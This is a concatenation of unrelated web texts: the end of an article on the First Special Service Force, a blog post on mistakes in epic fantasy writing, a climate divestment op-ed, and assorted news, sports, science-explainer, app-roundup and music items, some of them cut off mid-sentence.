Monte Vischiataro – 8 January 1944
Anzio – 2 February – 10 May 1944
Monte Arrestino – 25 May 1944
Rocca Massima – 27 May 1944
Colle Ferro – 2 June 1944
Rome – 4 June 1944
Southern France, (Alpes-Maritimes) campaign, 1944
Rhineland campaign, 1944
Franco-Italian border – 7 September – 30 November 1944
Media depictions [ edit ]
The Devil's Brigade is a 1968 film starring William Holden, Cliff Robertson, and Vince Edwards, focusing on the force's training and deployment to Italy.
The 1968 film Anzio featured Peter Falk as Corporal Jack Rabinoff, who identified himself to co-star Robert Mitchum as a member of the American-Canadian 1st Special Service Force.
Three documentaries have been made about the force: "Black Devils" in 2000, an episode of History Channel's "Dangerous Missions" series, written produced and directed by Darryl Rehr; Daring to Die: The Story of the Black Devils, written and directed by Greg Hancock and Wayne Abbot,[45] and Devil's Brigade, a 2006 TV miniseries produced by Frantic Films.[46]
Quentin Tarantino's 2009 film Inglourious Basterds features a character named Lt. Aldo Raine aka "Aldo the Apache" played by Brad Pitt who wears the unit's crossed arrows collar insignia and red arrowhead shoulder patch. Tarantino cited the 1SSF as an influence.[47]
The Devil's Brigade by Robert H. Adleman & George H. Walton is an autobiography and historical reference for the First Special Service Force.
The Marvel Comics character Wolverine claimed several times he was a member of Devil's Brigade during the war; being him Canadian-born during last years of Queen Victoria's reign, it fits; he also claimed he took part in Anzio and Cassino battles.
The First Special Service Force is represented by several military reenactment groups which are known as The First Special Service Force Living History Group (FSSF-LHG). These groups are made up of men from Canada, United States, Italy, France, Russia, and Great Britain. As of January 2010 there are approximately 1000 World War II reenactors portraying the FSSF. Members of the FSSF-LHG Ontario section (John Dallimore and Kyle McNally) and the Scottish section (Paul Dray) ventured to Monte La Difensa in 2005 where they placed a memorial plaque dedicated to the men of the force. Members of the FSSF-LHG also attend the veterans reunions annually where they participate in functions with the veterans and their families.
See also [ edit ]
Bibliography [ edit ]
Books [ edit ]by
Five Things You Should Never Do in Epic Fantasy
by K.V. Johansen When Shaun asked me to write this blog post, the immediate reaction of the Spouse was, “Oh no, I see a baleful article coming out of this.” The Spouse accuses me of being obsessed with baled hay. I’m not, really. It’s just the most obvious example and symbol of quite a widespread and glaring error that at once ruins literary belief in the world for me. And that is point one, of my Five Things You Should Never Do In Epic Fantasy, from the perspective of someone who has spent a lot of time studying history and languages.
1) Do not put baled hay into a world that has not had its Industrial Revolution. I wrote an article/lecture/rant on avoiding anachronisms in fantasy and historical fiction once, entitled, “Belief is in the Details: Don’t Take the Present for Granted”, and yes, my file-name for it was simply “Bales”. Baled hay is such a lovely symbol of anachronisms caused by failure to consider the forces that drive industrial change. It’s amazing how many medieval fantasies have barns filled with baled hay, even ones written by people who aren’t third-generation urbanites. We do take the present for granted. After all, we live here. And people, particularly urbanites, tend to regard farming as something old-fashioned and unchanging. (We’ll pause for the farmers to stop laughing.) So, what the whole baled-hay problem represents is the greater issue of the Industrial Revolution. If your world is based on a primary-world classical, medieval, or renaissance culture and its technology, you need to be aware of what that means. Human technological development and invention is driven by need and by science, and if the scientific foundation for a particular development isn’t there yet, and there’s no need for the machine because you’ve got twenty slaves or serfs or tenants owing service, or sons and daughters and cousins, to head out to the field with scythes and forks, you’re not going to bale your hay. You’re not going to be drilling oil wells and refining crude oil to get diesel to run your tractor to power your baler to bale your hay. You’re not going to have big iron foundries to make sheet metal to mass-produce your balers to bale your hay. (And don’t forget the internal combustion engine for your tractor.) The modern pick-up baler, by the way, was an invention due to the social changes around the time of the Second World War, when people were leaving the land in droves. Social and technological changes feed off one another. The Victorians had stationary hay-presses to bale hay, not for use on the farm, usually — as they carted it to the barn or farmyard before baling it — but for export by train to the cities. Victorian cities, unlike medieval ones, were full of horses who had to be fed. The ancient Greeks had steam engines, of a sort. They just didn’t need them to do work, so there was no impetus for them ever to be developed beyond an experiment, a toy. Look, it spins — cool. Tell the slave to go draw another jar of water from the well.
Sure, even without the internal combustion engine or a massive steam tractor some lone inventing engineer could build, piece by piece, a hay-baling machine — people do adapt them for horsepower now — but why would he need to? In the pre-Industrial-Revolution world, and for a couple of centuries after, there are all these people around who aren’t employed as managers or call-centre harassers; they can do the haying. And that’s why it’s good to pause and think about the Industrial Revolution, especially when you’re writing about some aspect of everyday life you tend to take for granted.
While you’re at it, do a bit of research, read up on the technological and cultural era you’re writing about, and don’t err in the opposite direction by omitting things that don’t seem “primitive” enough to you. Bear in mind that guns were a medieval, not a modern, invention. Even the early Middle Ages, the Dark Ages, were not “primitive”, whatever the Victorians and Monty Python may lead you to believe. The era of the barbarian invasions in Europe, the post-Roman world, was a technologically, culturally, socially, and philosophically complex era, and so was classical Rome, and so was the Bronze Age.
2) Don’t throw in obvious gibberish and pretend it’s a language. No, I’m not saying everyone must be Tolkien and invent entire languages, with vocabulary, grammar, and a system of sound-shift laws to give it a progression through time. That requires a particular genius, and very, very few can claim to have it. But don’t say, “Urg” means “The place where the wind generally blows from the west around about teatime on Wednesdays,” because you’ve got more concepts than syllables, and that just doesn’t seem plausible. If you’re making up names and place-names, try to have them sound as if they go together, if they’re meant to go together. Pay attention to the sound of the words and names you’re making up. Don’t have a place-name that sounds Chinese-ish and one that sounds Romance-language-ish and one that sounds Mi’kmaq-ish as neighbouring villages, unless you’ve got a history that accounts for it by having had various waves of migration, conquest, and so on.
3) Don’t use extremely modern slang and glaringly modern words. Your hero should probably not talk like a valley girl, or whatever the equivalent is these days, but there are more subtle diction dissonances that are almost just as painful. “Pants” is a good one not to use. It’s a very recent shortening of pantaloons, and pantaloons themselves are recent. Er, well, relatively recent. Sort of. From some perspectives. The word “pants” is so recent that it’s a bit jarring. And besides, if someone’s pants are wet, in North America, they’ve been walking in the rain. In Britain, well... maybe it was raining really, really hard. Or their dog pulled them over into the river. Or a really, really scary demon popped out from behind a tree and said “Boo!” not long after the embarrassed person now wearing the wet pants had had a very large mug of tea. Do you want your British readers (and anyone over fifty) picturing your hero in his Stanfields or Fruit of the Loom briefs? (Wet or otherwise.) This is not advice to adopt what used to be called “Wardour Street prose” (Gadzooks and forsooth, yon demon hath made me wet my smallclothes!) — far from it. Just, think a little about how datable the language is, and if it screams post-war, try for something more temporally neutral. (And if you are going to use the second person singular and the verb-endings of the sixteenth and seventeenth century for some purpose — ritual formality, showing that someone speaks in an old-fashioned way — steep yourself in the Book of Common Prayer and the King James Bible and Shakespeare until you can get it right.)
4) Don’t use primary-world proper nouns that have become adjectives or metaphoric nouns. Words with an historical connection, derived from a person or place, have no place in a world that does not have those historical persons or places in it, even if the word has largely lost its proper-noun capitalization. In a secondary world, you should not have, by its primary-world name, an Archimedean screw, marcelled hair (quite modern anyway — a late-nineteenth-century process invented by a chap named Marcel), sherry (Jerez), port (Portugal), champagne, bourbon, Burgandy, cheddar, Edam, raglan sleeves, a Jersey cow, or a Lombardy poplar, nor should it refer to Catherine wheels, dalmatians, or Samaritans good, bad, or indifferent. Vandalism … well, debatable. Is there another word for vandalism that works so well? I can’t think of one, offhand, so ….
Turkeys are a serious conundrum you will have to deal with, if you’re including New World flora and fauna in your natural history. Perhaps, like small “v” vandals, we’re stuck with them.
Words to be faced almost as cautiously are the months and the days of the week. Tolkien’s epic grew out of a children’s book with a contemporary narrator explaining things like “dwarves have never taken to matches” and so on; in The Lord of the Rings he added a detailed pseudo-historical apparatus in order to explain the use of Wednesday and March, which he knew didn’t belong but which had gotten in through the gateway of The Hobbit. It’s simpler even now, in a children’s secondary world fantasy, especially a lighthearted one, to go with our names of the months and assume an interpretor to our world, but in an epic fantasy for adults, unless you want to have a framework around it explaining the “translation” to primary world terms and unless, as in LR, doing so is consistent with your world and your story, perhaps better not. January, Thursday, etc. all have meanings, and most of them are derived from the names of primary world gods. The Spouse proposes the word anacosmonyms for such usage — words taken out of their proper world.
Words, words, words. If you want to know about a word’s history, the very best resource is the OED. The Oxford. Not your little desktop Oxford, the Pocket or Concise, though that’s nonetheless important for every writer in English, but The Dictionary. The Oxford Universal is good. It only weighs a few kilograms and you can fit it on a table. It gives dates of use and etymologies. The two volume Shorter Oxford is also nice. However, the Queen of Dictionaries in its full glory is thirteen volumes long on paper — now usually accessed electronically by most who use it, through a library’s subscription — and it has not only dates of first use and etymologies, but examples, masses of examples, tracing the word through history from its first recorded appearance in English.
5) Don’t fail to consider the economic complexities of your world. This does not mean writing a treatise on economics (unless you’re the author of Wolf and Spice). It does mean you shouldn’t create an urban setting and blithely announce that the kingdom has been devastated by war or dragons or ravaging hordes of unspeakable terrors while at the same time showing the entire populace hanging out in the cities eating well. Don’t forget that even now we are all dependent on the people growing food and that it takes a lot of hard physical labour and a lot of hands to grow that food, whether it happens in the fields of your hero’s village before she sets out to conquer the world, or outside the city walls, or in Egypt, which once supplied Rome with much of its grain, or in China, which now seems to be cornering the world garlic market. It takes many, many woman-hours to spin enough thread to weave a bolt of cloth, and many more hours to weave that cloth. And before that someone has to shear the sheep or hackle the flax. And so on. People don’t just pop downtown and buy a new dress because they feel like going shopping. A chair takes a lot of work to make. These are not worlds of very many disposable things, because things, most made things, are relatively expensive — expensive in time for the people making them, thus expensive for anyone buying them in a cash economy. Cheap manufactured goods — that’s the Industrial Revolution again.
There were factories, of a sort, i.e. people producing the same object over and over, for some objects; the Romans made amphorae on a scale, which were shipped all over the empire full of various liquids, and lamps. They were really more workshops than factories. And such clay objects were cheap, relatively, which is why archaeologists can dig them up all over the place. They were emptied or broke and you threw them away. (And of course, cheap or expensive, they can’t be stuck back together again and they don’t rot. Watch very much Time Team and you’ll conclude you can’t sink a spade in the earth anywhere in Europe without hitting pottery shards, making you realize that however unattractive the habit is, hurling coffee cups and pop cans all over the landscape is an inherent element of our humanity.) However, there were not large-scale foundries or spinning-mills or weaving machines, and it’s that kind of mass-production that lets us have both leisure, and cheap stuff, on the scale we now do in the industrialized world.
So, for every man (or woman, since we’re talking fantasy, not historical fiction) who can afford a sword — an extremely expensive item with a lot of man-hours from ore to weapon, or a mail shirt (probably even more labour-intensive), there is a huge foundation of people doing other things so that he or she can eat and not run around naked, as well as getting on with the heroing. It’s good to remember that, when you’re travelling through your world. It’s also good to remember that archaeology shows that even apparently-remote neolithic and Bronze Age villages were part of a surprisingly far-reaching network of trade, with goods, and presumably ideas and stories, moving about, even if most people never got more than a day’s walk from where they were born. By mediaeval times, complex trade routes bound the known world together, and very, very complex webs of duties and services, rents and taxes, produce and commerce, held society together, from ploughman to lord, merchant to crown, country to country.
Just for the record, and very vaguely related to this point, peasant and serf are not synonyms. And feudalism and manorialism are not synonyms. And vassal and serf are really, really, really not synonyms. See 4) and why the OED is such a useful thing.
And those, she said, reflecting gloomily that she has probably done all of the above (except for the baled hay and getting her sixteenth-century verb endings wrong), are five things you should try not to do when writing epic fantasy.
—————————————————————————————————————————————————
If you’re a fan of Epic Fantasy, check out some of our podcast interviews:
AISFP 144 – K.V. Johansen (author of this article)
AISFP 219 – Michael J. Sullivan, Part One, THE CROWN TOWER
AISFP 190 – James Enge, Part 2
And articles:
“Fantasy Tropes in Japanese Folklore” by Travis Heermann
“Depression, Suicide and Sexual Abuse in Science Fiction and Fantasy” by Susan CartwrightTwenty-five years ago people could be excused for not knowing much, or doing much, about climate change. Today we have no excuse. No more can it be dismissed as science fiction; we are already feeling the effects.
This is why, no matter where you live, it is appalling that the US is debating whether to approve a massive pipeline transporting 830,000 barrels of the world's dirtiest oil from Canada to the Gulf of Mexico. Producing and transporting this quantity of oil, via the Keystone XL pipeline, could increase Canada's carbon emissions by over 30%.
If the negative impacts of the pipeline would affect only Canada and the US, we could say good luck to them. But it will affect the whole world, our shared world, the only world we have. We don't have much time.
This week in Berlin, scientists and public representatives have been weighing up radical options for curbing emissions contained in the third report of the UN's Intergovernmental Panel on Climate Change. The bottom line is that we have 15 years to take the necessary steps. The horse may not have bolted, but it's well on its way through the stable door.
Who can stop it? Well, we can, you and I. And it is not just that we can stop it, we have a responsibility to do so. It is a responsibility that begins with God commanding the first human inhabitants of the garden of Eden "to till it and keep it". To keep it; not to abuse it, not to destroy it.
The taste of "success" in our world gone mad is measured in dollars and francs and rupees and yen. Our desire to consume any and everything of perceivable value – to extract every precious stone, every ounce of metal, every drop of oil, every tuna in the ocean, every rhinoceros in the bush – knows no bounds. We live in a world dominated by greed. We have allowed the interests of capital to outweigh the interests of human beings and our Earth.
Throughout my life I have believed that the only just response to injustice is what Mahatma Gandhi termed "passive resistance". During the anti-apartheid struggle in South Africa, using boycotts, divestment and sanctions, and supported by our friends overseas, we were not only able to apply economic pressure on the unjust state, but also serious moral pressure.
It is clear that those countries and companies primarily responsible for emitting carbon and accelerating climate change are not simply going to give up; they stand to make too much money. They need a whole lot of gentle persuasion from the likes of us. And it need not necessarily involve trading in our cars and buying bicycles!
There are many ways that all of us can fight against climate change: by not wasting energy, for instance. But these individual measures will not make a big enough difference in the available time.
People of conscience need to break their ties with corporations financing the injustice of climate change. We can, for instance, boycott events, sports teams and media programming sponsored by fossil-fuel energy companies. We can demand that the advertisements of energy companies carry health warnings. We can encourage more of our universities and municipalities and cultural institutions to cut their ties to the fossil-fuel industry. We can organise car-free days and build broader societal awareness. We can ask our religious communities to speak out.
We can actively encourage energy companies to spend more of their resources on the development of sustainable energy products, and we can reward those companies that do so by using their products. We can press our governments to invest in renewable energy and stop subsidising fossil fuels. Where possible, we can install our own solar panels and water heaters.
We cannot necessarily bankrupt the fossil fuel industry. But we can take steps to reduce its political clout, and hold those who rake in the profits accountable for cleaning up the mess.
And the good news is that we don't have to start from scratch. Young people across the world have already begun to do something about it. The fossil fuel divestment campaign is the fastest growing corporate campaign of its kind in history.
Last month, the General Synod of the Church of England voted overwhelmingly to review its investment policy in respect of fossil fuel companies, with one bishop referring to climate change as "the great demon of our day". Already some colleges and pension funds have declared they want their investments to be congruent with their beliefs.
It makes no sense to invest in companies that undermine our future. To serve as custodians of creation is not an empty title; it requires that we act, and with all the urgency this dire situation demands.Republican presidential front-runner Donald Trump may want to avoid West Hollywood when he campaigns in California ahead of the state's potentially decisive June 7 primary.
Lindsey Horvath, the mayor of West Hollywood, Calif., which is located in the heart of Los Angeles County and home to a sizable population of gay men, penned a letter to Trump this week explaining that he is unwelcome in her city.
"With the primary making its way to California, as West Hollywood's Mayor, I want to make very clear that your campaign of violence and intimidation is not welcome in our City," she wrote in the letter.
"From mocking people living with disabilities to classifying entire ethnicities as violent criminals to persecuting specific religious communities, Trump has pursued headlines in this election season with reckless abandon," Horvath later explained in an op-ed for the Advocate.
Horvath, an outspoken LGBT activist and West Hollywood's youngest elected mayor, described herself as "deeply disturbed" by Trump, who she claimed has "gone beyond [his] right to express a political point of view or policy differences."
"As Mayor of West Hollywood, it is my primary responsibility to keep our community safe," she wrote in an email to the Washington Examiner.
According to Horvath, West Hollywood was previously welcomed politicians from both parties to hold campaign events in the city. "[But] those same Horvath courtesies will not be extended to the Trump campaign," she claims.
The 34-year-old mayor has already instructed City staff that they are able to refuse to issue special events permits to Trump should he attempt to schedule a rally in the Los Angeles County city, and "such actions are well with [their] right[s]," Horvath told the Examiner.
With a little over two months left to go until Trump competes in California's Republican primary, Horvath has also called on the other 87 mayors in Los Angeles County to follow suit and block the billionaire from campaigning in their cities.
A University of Southern California/Los Angeles Times survey released last Sunday showed Trump polling just 7 percentage points ahead of Texas Sen. Ted Cruz in the Golden State. California awards 172 delegates, the most of any state, on a proportional basis to the winner of is Republican primary.Why can’t anything go faster than light? What if I was going 99.9999% the speed of light and I accelerated?
Short answer: The speed of light is simply the limit for massive objects. If you accelerated, you could only asymptotically approach the speed of light.
Long answer: Let me give you an analogy.
Imagine we’re trying to cross a troll bridge. The troll says that we’re allowed to cross half the distance between where we are standing and the other side, but every time we do, we owe the troll a dollar. Getting halfway across the bridge is cheap, as it only costs us a dollar. Getting 75% of the way across is still pretty cheap, and only cost us $2 to get there. And so forth and so forth. Eventually, no matter how close we get to the other side, we’ll eventually run out of dollars before we cross the bridge.
Accelerating a massive object is sort of like that. At first, you can increase that object’s velocity a lot by pumping energy into it (by accelerating it). But eventually, once you’re going 99% the speed of light, it starts getting really hard. If you triple the kinetic energy of a particle already going 99% the speed of light, you’ll only get it going 99.9% the speed of light. You can keep increasing the energy of this object, but you’ll only succeed in tacking on more 9s to the end of that number. Any acceleration will only allow the object to approach the speed of light asymptotically. There’s simply no ‘breaking through.’
Another common question similar to the one above asks what would happen if you pushed on the end a long solid bar, perhaps a few light years long. Would the other end move instantaneously? The answer is a resounding no. When you push the bar, you’re actually just pushing on the atoms adjacent to your hand. Those atoms in turn push on the next atoms, and so forth down the line. The result is a wave of atoms bumping into other atoms moving down the length of the bar. This is, quite literally, a sound wave. Of course, the speed of sound in solids is much higher than air and is generally several miles per second, but compared to the speed of light this is still almost nothing. For example, the speed of sound in aluminum is 3.2 miles/second (5100 meters/s) so if you pushed the end of an aluminum rod that was one light year long you would be waiting 59,000 years to see the other end twitch.
There’s plenty more questions and puzzles from special relativity, so maybe we’ll save them for another time.
asked by /u/cazbot
image credit: Wikimedia CommonsWhen junior shortstop Stephen Alemais was injured a few weeks ago in a game against Pepperdine, the Tulane baseball team was at a loss. Second year head coach David Pierce knew he had depth at virtually every defensive position to fill the gap between second and third, but it wasn't until game two of the Furman series that he would find out how much the bench would be able to contribute to the series sweep. With a few combinations in mind, Pierce made the call to start one of his most loyal players.
On Saturday, March 13, senior utility player Matt Braud was going through his morning routine before heading to the ballpark for the 4:00 game when he heard his phone buzz on the kitchen table.
"I was eating breakfast and somebody texted me that I was starting," Braud recalled. "At first I thought, oh you're joking with me. Then another person texted me, and it kind of sunk in that I was playing. I've been looking forward to playing for four years, and I didn't expect to get it."
For Braud, a fourth-year neuroscience major, this opportunity has been a long time coming. As a walk-on since the 2012-13 season, the senior has primarily served as a bullpen catcher with a handful of pinch-hit at bats and late-inning replacements both in the field and behind the plate. His first career hit came in the first game of last year's NCAA Regional appearance against UNC-Wilmington in Baton Rouge, and he scored his first run just two days later in the final game at Alex Box.
Obviously, Braud's first start had a different feel to it than his other appearances.
"Coming into the game I was kind of nervous because I'd never started in a college baseball game before," stated Braud. "As the day went on, all the guys were great. They really helped me just go out there and play and enjoy the game."
After notching his first career RBI as well as making a handful of stellar defensive plays at shortstop, Braud came out hungry for more in the Sunday game, which would hand Tulane its second sweep of the young season. So settled was the starting shortstop in his second ever start that with one stroke of the bat in the sixth inning, he hit a rocketing shot a good 10 feet up the net in left field for his first career home run.
"I don't even remember the hit. It's kind of blank," Braud reminisced. "I've watched the video multiple times and I've heard Todd Graffagnini's call on the radio. The dugout was crazy, it was awesome. I've gotten an unreal amount of Facebook, Instagram and Twitter messages, so obviously people really care about me."
As usual, Braud's parents, Donna and John, were sitting in the stands, just behind home plate, when their son's first career homer went over the wall.
"From what I heard in the stands, they both started crying," Braud said. "After the game, I told my mom that there's no crying in baseball and she started laughing. They were extremely proud because they come to every game, regardless of whether I play or not. They just like baseball and they're glad I got a chance."
Braud's parents aren't the only ones who were impressed by their son's offensive and defensive heroics.
"Matt has done a very admirable job stepping in," Pierce said of his performance. "He's a senior that knows the whole program inside and out. He's always ready to play."
For Braud, baseball has always been a part of life. Since the age of six, the utility player has dreamed of playing on the NCAA level.
"I always wanted to play college baseball, so I was going to go to Spring Hill, a smaller school where I probably could have played all the time," Braud said. "One day I came to a Tulane baseball showcase and then-head coach Rick Jones called me in and said they had a spot for me. The rest is history."
One advantage of choosing the Green Wave was being able to play alongside fellow senior Emerson Gibbs. The pair have been involved in baseball together for as long as either can remember and both graduated from Jesuit in May of 2012.
"It was awesome to actually play behind him on that Sunday," Braud recalls. "I've played behind him all the way through high school, so it was cool to do it at the highest stage."
While Braud is enjoying his playing time and has certainly contributed to the Green Wave's winning efforts over the past few weeks, he knows that the fix is temporary.
"I mess with Steph all the time that I'm going to steal his position," Braud said, "but I'm just there keeping it warm for him. He'll be back in a couple of weeks and he'll take over again and do great things with it."
However, the senior will always remember his time sporting the traditional Tulane Sluggerbirds at every game and wouldn't have done his college years any other way.
"You hear it all the time, you're going to forget everything -- the wins and the losses, how many home runs you hit, how many hits you have -- but the guys in the locker room, year in and year out, is what is the best thing about playing college baseball and the best thing about playing here at Tulane."Ojukwu has been part of the Nollywood film scene since 1993, when he started making films directly out of high school. Touted in African publications as the "Nigerian Spielberg" for his fast-moving action scenes and his increasingly ambitious movies, he won the Best Director at the Africa Movie Academy Awards for his 2007 movie Sitanda, and became one of the subjects of the documentary Welcome To Nollywood. His latest film, 76, is an unusually high-budget, high-profile historical epic about Nigeria's 1976 coup, focusing on the pregnant wife of a soldier unwillingly |
izman, a lawyer for Too Much Media, said he was relieved the case could now resume before the trial court after a two-year hold caused by Hale’s shield law claim. He said the shield issue was significant because it could have prevented him from asking Hale questions about the identity of her sources. “We believe she was put up to this by somebody else,” he said.
The New Jersey Supreme Court’s opinion affirmed the rulings of both the trial and appellate courts. However, unlike the appeals court, the high court said that the shield law does not require newspersons to identify themselves as reporters, carry certain credentials or follow professional standards like taking notes, fact-checking or disclosing conflicts of interest.
The case is Too Much Media LLC et al v. Hale, New Jersey Supreme Court, No. A-7-10.An L.A. Superior Court judge this morning allowed the City Attorney to take preliminary steps needed to implement an Echo Park area gang injunction that would impose restrictions on more than 300 rival gang members. A group of young protestors opposed to the gang injunction demonstrated in the court hallways and outside the court building, according to a KPCC reporter.
If the court grants approval, the injunction would prohibit gang members from associating with each other in public, possessing firearms and narcotics as well as intimidating or harassing residents within a nearly four-square-mile “safety zone.” The gangs targeted in the injunction include Big Top Locos, Crazys, Diamond Street Locos, Echo Park Locos, Frogtown and Headhunters.
* Update: Reporter Tony Cella provided more details from today’s hearing:
Deputy City Attorney Jim McDougal served the six named gangs, but none of their members, at the Stanley Mosk Courthouse in Downtown Los Angeles this morning. Superior Court Judge Abraham Khan will review the city attorney’s complaint and, if he deems the complaints legitimate, will allow the municipal prosecutor to serve the complaint to the individual alleged gang members.
Another attorney, Donald Hammond, attempted to oppose the motion and asked McDougal, who is part of the city attorney’s gang unit, to postpone submitting the complaint to the judge to give him two weeks to research the case and offer a formal opposition.
Hammond was unable to name the individuals he was defending until an activist brought him a piece of paper. He told the courtroom he was at the courthouse attending to other business and saw members of the Youth Justice Coalition, an activist group opposing the injunction, gathered in the hallway.
“I saw friends here and asked what’s going on,” he said.
McDougal rejected Hammond’s offer because he had been burned by other attorneys in the past. The deputy city attorney offered to speak with any legal professionals representing the defendants.
Related Links:Thousands of Pro-Life Supporters Rally Across US to Defund Planned Parenthood
Email Print Whatsapp Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin
Gathering outside more than 200 Planned Parenthood clinics across the nation Saturday, thousands of pro-life supporters called for Congress and the federal government to cut off funding to the country's largest abortion provider.
Protesters gathered at Planned Parenthood clinics in 44 states and the District of Columbia with signs reading "Pray to End Abortion" and "Defend Life," according to The Associated Press.
The organizers, #ProtestPP, say, "The time has come to defund America's abortion giant! Planned Parenthood is the nation's largest abortion chain, killing over 300,000 babies each year, and nearly half of their billion dollar budget comes from our tax dollars."
"I'm here simply because I believe abortion is ending a life," Nancy Johnson, a pro-life supporter in Shrewsbury, N.J., told USA Today. "The money could be spent protecting life rather than taking a life."
The pro-life supporters were met with roughly 150 counterdemonstrations by supporters of Planned Parenthood, according to Reuters.
"All across the country, Planned Parenthood supporters are taking it upon themselves to organize in their communities on their own," Kelley Robinson, a leader of Planned Parenthood Action Fund Support, said in a statement. "Saturday, and every day, Planned Parenthood advocates and activists show that they refuse to be intimidated and they won't back down."
Lisa Blevins, who organized the pro-life protesters in Tempe, Arizona, told The Arizona Republic, "We're peaceful, prayerful people. We are based on prayer. We respond to them (the other protesters) by praying for and blessing them. We listen to them and we stay in peaceful prayer."
#ProtestPP is "a coalition of state and national pro-life groups calling for public protest in response to the recent horrifying revelations that Planned Parenthood has been involved in the illicit trafficking of aborted babies' body parts."
"The rallies … aim to educate the media and the public about Planned Parenthood's central role in the abortion industry and set the record straight about how limited their healthcare services really are," Eric Scheidler, national organizer of #ProtestPP and executive director for the Pro-Life Action League, earlier told The Christian Post. "For example, while Planned Parenthood provides less than 1% of annual pap tests, they provide 35% of annual abortions in the U.S."
Scheilder helped organized similar protests in 2015, with demonstrations held at around 300 clinics in response to the release of a series of undercover videos purporting to show Planned Parenthood officials violating federal law. "The massive media coverage of the undercover videos back in 2015 helped to make those protests especially large and numerous," he noted.
But the brouhaha is less this year. "We're not riding that kind of wave of publicity right now, so we've had to rise to the challenge of getting the word out through our own communications channels," Scheilder added.
Numerous pro-life supporters also took to Twitter to express solidarity. "Murder is murder, in the world or in the womb! #DefundPP," said one of the tweets.Keeping all of your favorite sites organized isn’t always easy, especially when you want to stay updated with all of them. That’s where RSS feed readers come in. Not familiar with RSS feeds? It’s where you compile all of your favorite internet content into one feed, so you don’t have to individually be keeping up with health/exercise websites, food blogs, travel diaries, and so on. When you sign up for an RSS feed reader, all those things are in one place.
We’ve got a whole list of the best RSS feed readers for you to utilize after the break.
gReader
gReader has everything you could ever want in a feed reader. You have the ability to read offline, listen to podcasts, notifications, etc. One of the cool features is that you can also listen to the news. Yes, that means in the car on the way to work, or as you get ready in the morning, you can have gReader read you all the latest from your favorite sites.
gReader is also extremely customizable. Choose from a variety of views, themes, night-mode, invert website/blog colors, etc. You can also opt in or opt out of notifications, search easily by keywords, and it adapts to tablets amazingly. Can’t remember if you read something already or not? No worries, gReader’s status widget will let you know!
Play Store Download Link
Feedly
Feedly is a popular name in the RSS feed reader world, particularly after the plug was pulled on Google Reader. Since then, Feedly has become one of the “big names” in the RSS area. It’s easy to use, has a clean look and is always being updated to better serve their customers. Not only that, but this helps them stay ahead of the game when it comes to behind-the-scenes technology and a relevant design.
Not only does Feedly allow you to search for and add your favorite articles and podcasts, but you can also add things like YouTube channels. And, it’s so easy to share (or pin) anything you were reading, watching, or listening to that you loved for others to enjoy. And similar to Pocket, if you’re not quite ready to read something, you can save it for later.
Play Store Download Link
Pocket
While Pocket isn’t specifically an RSS feed reader, it’s perfect for anyone who isn’t totally committed to subscribing to receive all the content in a particular category from all different websites. Pocket is one of the handiest apps we’ve ever used, because you can save articles and media for later with barely a touch of a button.
Pocket creates an option on your Android device to “save to Pocket” whenever you come across something interesting. For example, say you’re standing in line at a store, scrolling through your phone, and an article or podcast catches your eye. Simply hit “save to Pocket,” in the browser, and you’ll be able to pull it up when you have more time to devote to it. Pocket makes for some fantastic, personalized “Sunday paper” reading.
Play Store Download Link
Aggregator
Aggregator is one of the simplest RSS feeders you’ll find, which is great for anyone who has a jam-packed schedule, as well as those who aren’t into things with a ton of extra features, just looking for a basic app to keep their news all in one place. Now, don’t mistake it’s simplicity for bad-quality, because Aggregator is more than enough without being over the top.
In the app, you have the option to choose from two different themes (dark and light), and you’ll be able to also keep track of what you haven’t read yet. And, if you’re new to RSS feed readers, this would be a great one for you. It’s never been easier to streamline your news intake while getting exactly what you want to read.
Play Store Download Link
NewsBit
NewBit is really cool because it’s not just an RSS feed reader, but also an actual news app. You of course are free to (and encouraged to, since that’s half the app) customize it with your personal daily digest and favorite websites, but you will also have access to news sites through NewsBit like CNN, The Guardian, Lifehacker, Los Angeles Times, USA today, and more.
If you’re not quite sure what kind of news you want to subscribe to, NewsBit will give you suggestions to try. This is perfect if you’re still working on filling your feed, and looking for categories that catch your interest. Your feed is also displayed in an eye-catching grid view.
Play Store Download Link
Feedmesh
Feedmesh is full of unique features. Instead of all running together, your content stays separated so that you can easily keep track of it all. While it keeps everything organized, it also cuts the clutter so you get exactly what you want, and nothing you’re not interested in. You’ll be able to easily pick up Feedmesh from anywhere and enjoy some light reading, even if only for a few minutes.
Another cool thing about Feedmesh is that if you’re not quite sure what you want to add, or you do know but can’t remember the name, they have a handy search bar where you can enter topics and keywords to find exactly what you were looking for.
Play Store Download Link
Flipboard
Flipboard offers a unique RSS feed reading experience unlike other apps we’ve seen. When you download it and create an account, it will become, as they describe it, “your personal magazine.” It really is like magazine, except since it’s completely catered to you, you won’t end up merely skimming through this one.
Not only is it super easy to add what you want to see (just hit the “+” button), but you can also follow other people’s feeds. See what your favorite celebrities are reading, or connect your social media to see what your friends are keeping up with. The best part? While some of the higher-end feed readers will cost you a few bucks, Flipboard is completely free without compromising quality.
Play Store Download Link
Closing
There are an abundance of RSS feed readers out there in cyberspace. We’re pretty confident that these are some of the best of the best out there, and you’ll find something in no time! But if you’re still not sure what to get, it certainly wouldn’t hurt to download a couple that caught your eye from this list and try them both out. One thing’s for certain: there’s something for everybody in this list, whether you’re looking for a magazine-style reader, something to organize all of your news in one space or even an RSS reader that can keep track of your podcasts.When Kanye West says he has more music in the vault, you believe him. A day after announcing via Twitter that he plans to drop another album this summer, a snippet of a new banger from Kanye emerged.
Kanye’s fashion consultant Ian Connor posted a video to to his Snapchat on Thursday featuring music that sounded like yet another unreleased 'Ye track and it could possibly feature Migos. Although it's just a snippet, the Auto-Tune heavy track features Kanye rhyming about "sipping Miley Cyrus" and "acting like he's white."
The new possible Migos collaboration is the second new Yeezy track in one week. On Tuesday (Feb. 23), he showed up at Yo Gotti's L.A. listening party and played a new track "Saint Pablo," co-produced by Mike Dean. The following day 'Ye exploded in another Twitter rant where he explained when he wrote the track that didn't seem to make his TIDAL exclusive album. “I wrote 'Saint Pablo' after admitting to my greatest shame my personal debt,” he tweeted. “But I’m not ashamed anymore.”
The three-year hiatus in-between 2013’s Yeezus and his eighth studio album, The Life of Pablo, must have been very busy for ‘Ye. He reportedly has more than 40 songs recorded with Young Thug and a slew of other records with everyone from Future to Kendrick Lamar and Drake.
Kanye has been going hard for Atlanta rhymers as of late. In Wednesday's infamous Twitter rant, 'Ye also challenged the Grammys to welcome Future and Young Thug in suits. "You like your black people a certain way also. You wouldn't have Future perform and that man owned the clubs last summer," Kanye wrote.
